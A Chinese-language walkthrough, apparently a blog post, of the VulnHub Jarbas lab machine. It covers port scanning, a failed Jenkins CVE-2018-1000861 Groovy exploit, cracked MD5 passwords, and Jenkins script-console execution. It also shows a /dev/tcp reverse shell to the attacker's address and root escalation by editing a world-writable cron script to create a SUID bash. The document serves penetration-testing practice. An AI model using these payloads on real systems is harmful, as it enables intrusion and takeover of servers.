地址:https://www.vulnhub.com/entry/jarbas-1,232/

信息收集

1
nmap -T4 -Pn -A  192.168.19.0-255

image.png

总结:目标机常用端口开放了22、80、3306、8080,我认为渗透优先级3306>8080>80>22

3306端口

根据nmap扫描结果,试一下弱口令能否连接,不行,下一个端口吧

8080端口

根据nmap扫描结果,是一个jetty服务器,打开后发现是jenkins中间件,查看右下角,版本号为Jenkins ver. 2.113

vulhub搜索该漏洞nday,发现CVE-2018-1000861,目标版本2.113在影响范围内

https://github.com/vulhub/vulhub/blob/master/jenkins/CVE-2018-1000861/README.zh-cn.md

Jenkins旧版本更新日志 https://www.jenkins.io/changelog-old/

使用 https://github.com/orangetw/awesome-jenkins-rce-2019 进行利用

1
python2 exp.py http://192.168.19.132:8080 'curl <payload>'

payload如下

1
2
3
4
5
6
7
http://192.168.19.132:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
public x(){
"bash -i >& /dev/tcp/192.168.19.131/4444 0>&1".execute()
}
}

利用不成功,不过dnslog有收到请求,奇怪了(感觉这边相当于任意Groovy脚本注入,需要用下方的payload反弹)—试了["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/192.168.19.131/4444 0>&1"].execute()也还是不行,没招了

反弹不成功,看了下其他人的博客,发现用的是信息泄露+后台GetShell,没招了

80端口

使用dirsearch进行目录扫描

1
python dirsearch.py -u http://192.168.19.132

image.png

访问 http://192.168.19.132/access.html ,发现账号和加密后的密码,猜测密码为md5,使用 https://www.cmd5.com/ 进行解密,结果如下

1
2
3
tiago:5978a63b4654c73c60fa24f836386d87 // italia99
trindade:f463f63616cb3f1e81ce46b39f882fd5 // marianna
eder:9b38e2b1e8b12f426b0d208a7ab6cb98 // vipsu

使用eder/vipsu账号可成功进入Jenkins后台

8080端口(2)

Google搜索Jenkins后台提权,参考 https://forum.butian.net/share/53 ,在

http://192.168.19.132:8080/script 可以执行任意的Groovy script,执行以下payload,成功执行命令

1
println "id".execute().text

image.png

反弹shell

1
["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/192.168.19.131/4444 0>&1"].execute()

image.png

ps 使用下方payload反弹shell失败的原因(来自GPT)

1
println "/bin/bash -i >& /dev/tcp/192.168.19.131/4444 0>&1".execute().text

String.execute()(以及 Runtime.exec(String)并不会把命令行字符串交给 shell 去解析 shell 元字符(像 >&、管道、通配符等)。它尝试直接执行一个可执行文件(或按默认的规则拆参数),所以重定向符号被当作普通参数——不会被解释成重定向。结果 bash 没有接收到 -c 那样的 shell 解析上下文,重定向没有生效,自然反弹失败。

提权

反弹shell后,提示bash: no job control in this shell,该会话不是一个tty

需要在/bin/bash环境下执行以下命令,模拟tty

1
2
3
4
python -c 'import pty; pty.spawn("/bin/bash")'
# ctrl+Z
stty raw -echo
fg

获得完整的tty后,执行常规提权思路:sudo、suid、内核都失败了,来到了定时任务

1
cat /etc/crontab

发现一个root权限的脚本,查看其脚本权限,发现是777,我们可以通过修改该脚本内容实现提权

1
2
3
vim /etc/script/CleaningScript.sh
# 向文件尾部插入
# cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;

image.png

pspy监控,看到定时任务被执行

image.png

执行tmp目录下的bash,获得root权限

image.png

参考链接

https://www.cnblogs.com/yyhuni/p/18012041

https://idocdown.com/app/articles/blogs/detail/10133

https://peonycsa.com/2023/06/10/vulnhub-JARBAS%E9%80%9A%E5%85%B3/index.html

https://www.cnblogs.com/sfsec/p/15163907.html

https://github.com/DominicBreuker/pspy